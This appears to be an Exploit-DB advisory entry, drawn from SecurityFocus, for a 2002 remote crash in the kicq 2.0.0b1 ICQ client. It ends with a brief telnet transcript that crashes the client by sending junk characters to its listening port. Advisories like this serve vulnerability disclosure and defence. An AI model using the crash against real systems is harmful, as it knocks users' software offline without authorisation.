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kicq
by:
SecurityFocus
7.5
CVSS
HIGH
Remote Crash Vulnerability
N/A
CWE
Product Name: kicq
Affected Version From: 2.0.0b1
Affected Version To: 2.0.0b1
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2002

kicq 2.0.0b1 Remote Crash Vulnerability

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending 'random' characters. This does not affect other components of the system, only the ICQ client.

Mitigation:

N/A
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/4018/info

kicq 2.0.0b1 is an ICQ client for the K Desktop Environment (KDE). kicq can be crashed remotely by initiating a telnet connection to a port it is listening on and sending "random" characters. This does not affect other components of the system, only the ICQ client.

bash-2.05$ telnet 10.0.0.1 1030
Trying 10.0.0.1...
Connected to 10.0.0.1.
Escape character is '^]'.
garbage
Connection closed by foreign host.